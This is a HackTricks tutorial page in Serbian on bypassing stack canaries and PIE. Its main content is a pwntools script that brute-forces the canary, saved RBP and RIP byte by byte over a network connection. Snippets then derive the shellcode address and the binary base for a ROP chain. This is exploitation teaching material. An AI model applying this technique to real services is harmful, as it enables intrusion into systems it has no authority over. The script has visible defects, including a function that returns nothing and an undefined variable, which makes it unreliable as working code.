mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
91 lines
4.2 KiB
Markdown
91 lines
4.2 KiB
Markdown
# BF Adrese u Steku
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Ako se suočavate sa binarnim fajlom zaštićenim kanarijem i PIE (Poziciono Nezavisna Izvršna Datoteka), verovatno ćete morati da pronađete način da ih zaobiđete.**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> Imajte na umu da **`checksec`** možda neće otkriti da je binarni fajl zaštićen kanarijem ako je statički kompajliran i nije u stanju da identifikuje funkciju.\
|
|
> Međutim, možete to ručno primetiti ako otkrijete da je vrednost sačuvana u steku na početku poziva funkcije i da se ova vrednost proverava pre izlaska.
|
|
|
|
## Brute-Force Adrese
|
|
|
|
Da biste **zaobišli PIE**, potrebno je da **procurite neku adresu**. A ako binarni fajl ne propušta nikakve adrese, najbolje je da **brute-forcujete RBP i RIP sačuvane u steku** u ranjivoj funkciji.\
|
|
Na primer, ako je binarni fajl zaštićen koristeći i **kanarija** i **PIE**, možete početi sa brute-forcovanjem kanarije, zatim će **sledećih** 8 bajtova (x64) biti sačuvani **RBP**, a **sledećih** 8 bajtova će biti sačuvani **RIP.**
|
|
|
|
> [!TIP]
|
|
> Pretpostavlja se da adresa povratka unutar steka pripada glavnom binarnom kodu, koji, ako je ranjivost locirana u binarnom kodu, obično će biti slučaj.
|
|
|
|
Da biste brute-forcovali RBP i RIP iz binarnog fajla, možete shvatiti da je validan pogodak bajta tačan ako program nešto ispiše ili jednostavno ne sruši. **Ista funkcija** koja je data za brute-forcovanje kanarije može se koristiti za brute-forcovanje RBP i RIP:
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
# CANARY BF HERE
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
|
|
# PIE BF FROM HERE
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
Poslednja stvar koju treba da uradite da biste savladali PIE je da izračunate **korisne adrese iz otkrivenih** adresa: **RBP** i **RIP**.
|
|
|
|
Iz **RBP** možete izračunati **gde pišete svoj shell u steku**. Ovo može biti veoma korisno da znate gde ćete napisati string _"/bin/sh\x00"_ unutar steka. Da biste izračunali razdaljinu između otkrivenog RBP-a i vašeg shellcode-a, jednostavno stavite **prekidač nakon otkrivanja RBP-a** i proverite **gde se nalazi vaš shellcode**, zatim možete izračunati razdaljinu između shellcode-a i RBP-a:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Iz **RIP** možete izračunati **osnovnu adresu PIE binarnog fajla** koja će vam biti potrebna za kreiranje **validnog ROP lanca**.\
|
|
Da biste izračunali osnovnu adresu, jednostavno uradite `objdump -d vunbinary` i proverite poslednje adrese disasemblerovanog koda:
|
|
|
|
.png>)
|
|
|
|
U tom primeru možete videti da je potrebno samo **1 i po bajt** da se locira sav kod, tako da će osnovna adresa u ovoj situaciji biti **procureni RIP, ali završava na "000"**. Na primer, ako ste procurili `0x562002970ecf`, osnovna adresa je `0x562002970000`
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
## Poboljšanja
|
|
|
|
Prema [**nekim zapažanjima iz ovog posta**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), moguće je da kada se curi RBP i RIP vrednosti, server neće pasti sa nekim vrednostima koje nisu tačne i BF skripta će pomisliti da je dobila dobre. To je zato što je moguće da **neke adrese jednostavno neće izazvati grešku čak i ako nisu tačne**.
|
|
|
|
Prema tom blog postu, preporučuje se da se uvede kratka kašnjenja između zahteva ka serveru.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|